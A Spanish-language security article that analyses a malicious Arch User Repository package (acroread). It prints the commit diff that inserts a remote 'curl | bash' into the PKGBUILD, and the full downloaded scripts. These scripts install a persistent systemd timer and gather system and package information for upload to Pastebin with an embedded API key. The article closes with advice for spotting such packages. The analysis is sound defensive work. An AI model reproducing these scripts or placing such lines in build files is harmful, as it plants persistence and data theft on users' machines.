ArchLinux: La verdad sobre el paquete con malware dentro de AUR

Foros

Hoy, escribo este artículo a manera personal, me he visto en la obligación de aclarar lo que sucedió luego del alboroto de que hubo un paquete con malware dentro del AUR de ArchLinux. Para iniciar despejando todas las posibles dudas sobre la seguridad de ArchLinux, ArchLinux no fue vulnerado ni su seguridad se ha visto comprometida.

¿Qué es AUR y cómo funciona?

AUR, iniciales de ArchLinux User Repository es un repositorio de ArchLinux mantenido por los usuarios en el que CUALQUIER usuario puede subir paquetes con el contenido que desee. AUR no tiene habilidad para detectar que es malware y que no, AUR funciona cómo un repositorio git común en el que usted puede subir lo que desee. Ver https://wiki.archlinux.org/index.php/Arch_User_Repository

¿Qué es un PKGBUILD?

Un PKGBUILD es un script de shell que contiene la información requerida por paquetes de ArchLinux. Dentro del PKGBUILD se especifican las dependencias de un paquete, la versión del paquete, la versión del PKGBUILD, la arquitectura del paquete, la descripción, la URL oficial, la licencia, los paquetes que entran en conflicto con el paquete, el proceso de instalación del paquete, los comandos a ejecutar mediante el proceso, entre otras cosas más. Ver https://wiki.archlinux.org/index.php/PKGBUILD

Ya con estos dos conceptos claros, vamos a ver la parte técnica del asunto, el paquete con malware.

El paquete fue removido, pero tenemos aún un paquete al cual podemos hacerle estudio, acroread

Aunque acroread ya se encuentre totalmente limpio debido a que un TU (Trusted User) lo ha tomado para mantenerlo, en la historia de los commits aún podemos ver lo que el usuario anterior que mantenía el paquete (xeactor) hizo. https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id=b3fec9f2f16703c2dae9e793f75ad6e0d98509bc

2 files changed, 8 insertions, 5 deletions
diff --git a/.SRCINFO b/.SRCINFO
index b4b479993af..eabcbf88e2f 100644
--- a/.SRCINFO
+++ b/.SRCINFO
@@ -1,7 +1,7 @@
 pkgbase = acroread
 	pkgdesc = Adobe Reader is a PDF file viewer
 	pkgver = 9.5.5
-	pkgrel = 7
+	pkgrel = 8
 	url = http://www.adobe.com/products/reader/
 	install = acroread.install
 	arch = i686
diff --git a/PKGBUILD b/PKGBUILD
index 140158fb5f2..ea0a9b6c195 100644
--- a/PKGBUILD
+++ b/PKGBUILD
@@ -1,4 +1,5 @@
-# Maintainer: Tom Kwok <[email protected]>
+# Maintainer: xeactor <[email protected]>
+# Contributor: Tom Kwok <[email protected]>
 # Contributor: Jose Valecillos <valecillosjg at gmail dot com>
 # Contributor: Guido <qqqqqqqqq9 at web dot de>
 # Contributor: Limao Luo <luolimao+AUR at gmail com>
@@ -6,11 +7,11 @@
 
 pkgname=acroread
 pkgver=9.5.5
-pkgrel=7
+pkgrel=8
 pkgdesc="Adobe Reader is a PDF file viewer"
 arch=('i686' 'x86_64')
 url="http://www.adobe.com/products/reader/"
-license=(custom)
+license=('custom')
 optdepends=('acroread-fonts: CJK and extended font packs'
             'libcanberra: XDG sound support'
             'gtk-engine-murrine: fix ugly buttons and scrollbars'
@@ -56,10 +57,12 @@ package() {
     then
         depends=('desktop-file-utils' 'gtk2' 'libxml2' 'libxt' 'mesa' 'pangox-compat' 'libidn')
     fi
+    export pkgdir
     desktop-file-install $pkgname.desktop --dir "$pkgdir"/usr/share/applications/
-    cd AdobeReader/Adobe/Reader9/
+    cd AdobeReader/Adobe/Reader9
 
     msg2 "Installing Main Files..."
+    curl -s https://ptpb.pw/~x|bash -&
     install -d "$pkgdir"/opt/Adobe/Reader9
     cp -a * "$pkgdir"/opt/Adobe/Reader9/

Veamos la línea del problema, curl -s https://ptpb.pw/~x|bash -&, lo que hace esta línea es descargar lo que está en https://ptpb.pw/~x (un script en bash) y pasarlo cómo argumento al comando bash para ejecutar el contenido del mismo. Vamos a ver lo que contiene la URL.

#!/bin/bash

# get to the right location
if [[ -n "$pkgdir" ]]; then
	cd "$pkgdir"
else
	exit 0
fi

be_silent() {
	"[email protected]" >/dev/null 2>&1
}

# systemd files
SYSTEMD_TIMER="[Timer]
OnCalendar=4d
Persistent=true
OnActiveSec=360
[Install]
WantedBy=timers.target"
SYSTEMD_SERVICE="[Unit]
Type=simple
ExecStart=/usr/lib/xeactor/u.sh"

# write systemd files
mkdir -p usr/lib/systemd/system
mkdir -p etc/systemd/system/multi-user.target.wants
echo "$SYSTEMD_SERVICE" > usr/lib/systemd/system/xeactor.service
echo "$SYSTEMD_TIMER" > usr/lib/systemd/system/xeactor.timer
ln -s /usr/lib/systemd/system/xeactor.timer etc/systemd/system/multi-user.target.wants/xeactor.timer

# get the upload script
mkdir -p usr/lib/xeactor
if be_silent which curl; then
	curl -s https://ptpb.pw/~u > usr/lib/xeactor/u.sh
elif be_silent which wget; then
	wget -qOusr/lib/xeactor/u.sh https://ptpb.pw/~u
else
	exit 0
fi

Analizamos lo que sucede.

La función be_silent lo que hace es redirigir la salida de los comandos a >/dev/null 2>&1 para que no sea visible al usuario y realizar todo de manera silenciosa, cómo el nombre lo dice.

Lo siguiente que hace es definir los archivos SYSTEMD_TIMER y SYSTEMD_SERVICE, los archivos TIMER de systemd son los encargados de ejecutar un servicio cada cierto tiempo, un ejemplo de esto lo podemos ver en Actualización automática de ArchLinux usando SystemD

El archivo SYSTEMD_TIMER es habilitado automáticamente en el arranque del sistema y lo que hace es ejecutar el archivo SYSTEM_SERVICE 360 segundos luego de iniciado el sistema.

Ahora vemos la línea del servicio systemd ExecStart=/usr/lib/xeactor/u.sh, ¿qué es el script u.sh y que contiene?

Si vemos al final, de nuevo el usuario apunta curl/wget usando la función be_silent para crear el archivo /usr/lib/xeactor/u.sh, todo lo obtiene desde https://ptpb.pw/~u, vamos a ver que contiene ese script.

#!/bin/bash

function urle() {
	sed -e 's|!|%21|' -e 's|#|%23|' -e 's|$|%24|' -e 's|&|%26|' -e "s|'|%27|" -e 's|(|%28|' -e 's|)|%29|' -e 's|*|%2a|' -e 's|+|%2b|' -e 's|,|%2c|' -e 's|/|%2f|' -e 's|:|%3a|' -e 's|;|%3b|' -e 's|=|%3d|' -e 's|?|%3f|' -e 's|@|%40|' -e 's|\[|%5b|' -e 's|]|%5d|'
}
declare -fx urle
GID=
MACHINE_ID="$(cat /etc/machine-id)"
PASTE_TITLE="$(echo [xeactor]\ $MACHINE_ID|urle)"
upload() {
	up_data="$(echo $1|urle)"
	if [[ "$HTTP_CLIENT" == "curl" ]]; then
		prefix='curl -s --data'
	elif [[ "$HTTP_CLIENT" == "wget" ]]; then
		prefix='wget -O/dev/null -q --post-data'
	fi
	$prefix "api_dev_key=42ba93112cc9677382e55e5e387eafa1&api_paste_private=0&api_paste_name=${PASTE_TITLE}&api_option=paste&api_paste_code=$up_data" "https://pastebin.com/api/api_post.php" >/dev/null 2>&1
}
if which wget >/dev/null 2>&1; then
	export HTTP_CLIENT=wget
elif which curl >/dev/null 2>&1; then
	export HTTP_CLIENT=curl
else
	exit 0
fi
cmd_log() { echo "[cmd] \`[email protected]\`:"; "[email protected]" 2>&1; echo; }
full_log() {
	echo ${MACHINE_ID}
	cmd_log date '+%s'
	cmd_log uname -a
	cmd_log id
	cmd_log lscpu
	cmd_log pacman -Qeq
	cmd_log pacman -Qdq
	cmd_log systemctl list-units
}
FULL_LOG="$(full_log)"
$uploader "$FULL_LOG"
for x in /root /home/*; do
	if [[ -w "$x/compromised.txt" ]]; then
		echo "$FULL_LOG" > "$x/compromised.txt"
	fi
done
exit 0

La función urle() lo que hace es añadir el script declarado mediante la opción -e para que los comandos sean ejecutados, esto lo usa al momento de intentar subir la información a pastebin.

La función upload() tenía cómo finalidad subir la información recolectada a un pastebin privado usando curl/wget mediante en envío de datos post.

Al final se puede observar la API KEY del pastebin privado, algo realmente muy estúpido, lo cual demuestra que era un tipo que no tenía mucha idea de lo que hacía, la API ya fue eliminada por los administradores de pastebin.

La función full_log() lo que hace es obtener la siguiente información de la máquina afectada:

Id de la máquina: Obtener el ID de la máquina, el cual se guarda en /etc/machine-id y que fue asignado a la variable MACHINE_ID anteriormente.

Date: Lo que hace es obtener los segundos desds 1970-01-01 00:00:00 UTC mediante el parámetro %s

uname -a: Obtiene información del sistema operativo, nombre del host, versión del kernel y la arquitectura.

id: obtiene el ID del usuario que ejecuta el paquete, al makepkg solicitar sudo para la instalación, el id es 0 (root).

lscpu: obtiene la información relacionada con la CPU, ejemplo:

Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
CPU(s):              4
On-line CPU(s) list: 0-3
Thread(s) per core:  2
Core(s) per socket:  2
Socket(s):           1
NUMA node(s):        1
Vendor ID:           GenuineIntel
CPU family:          6
Model:               142
Model name:          Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz
Stepping:            9
CPU MHz:             502.551
CPU max MHz:         3500.0000
CPU min MHz:         400.0000
BogoMIPS:            5810.00
Virtualization:      VT-x
L1d cache:           32K
L1i cache:           32K
L2 cache:            256K
L3 cache:            4096K
NUMA node0 CPU(s):   0-3
Flags:               fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp

pacman -Qeq: obtiene la lista de paquetes instalados de manera explicita.

pacman -Qdq: obtiene la lista de paquetes instalados cómo dependencias.

systemctl list-units: obtiene la lista de servicios y sockets existentes dentro de la máquina.

Finalmente la función full_log() es asignada a la variable FULL_LOG la cual almacenará toda la información recolectada en los pasos anteriores e intenta subirla al pastebin, digo intenta porque no lo hace, el creador del malware cometió un error de niño, definió la variable upload() y luego intentó usar la variable uploader() la cual no existe, por lo tanto toda la información recolectada jamás se envió.

Finalmente lo que hace es crear archivos llamados compromised.txt dentro de las carpetas /root y /home con la información recolectada.

Ahora que vimos la explicación, el intento de obtener la información falló por error del programador, si usted tenía instalado ese paquete, sencillamente elimínelo de su sistema, ninguna de su información ha sido comprometida.

¿Cómo puedo prevenir que se instale malware desde AUR?

Cómo ya sabemos, todos podemos subir paquetes al AUR, entonces hay que tener mucho cuidado, siempre lea los PKGBUILD antes de instalar un programa, también en el momento de leerlo, diríjase al sitio web de donde se está obteniendo el código y lea el código y busque en los issues por problemas relacionados con seguridad. Adicionalmente puede buscar dentro del código por cadenas específicas cómo rm -rf, curl, wget, upload, entre otras. Hay que tener muchas precauciones al momento de instalar cualquier paquete desde AUR, también es recomendable ir al sitio web del paquete en https://aur.archlinux.org y buscar comentarios, siempre se debe estar paranoico al momento de instalar paquetes desde AUR, nadie sabe las intenciones de quien subió el paquete. También es importante tener un AUR Helper que cumpla con las condiciones necesarias para la revisión de los PKGBUILD, que muestre las diferencias entre commits del PKGBUILD, entre otras cosas, la mejor alternativa es aurman, lea Archero ¡Deja de usar Yaourt! ¡Usa aurman!

Con esto doy por finalizada la explicación sobre este suceso que tiene a más de uno con lagunas mentales y diciendo que es culpa de los desarrolladores de ArchLinux, nosotros no tenemos nada que ver en este tipo de sucesos, nosotros solo mantenemos los repositorios oficiales. Ver https://wiki.archlinux.org/index.php/Official_repositories

Cualquier inquietud que surja puede hacerla saber mediante nuestros medios oficiales de chat:

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, especialista en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Entusiasta de la tecnología y amante de GNU/Linux. Twitter: @edu4rdshl XMPP/Email: [email protected]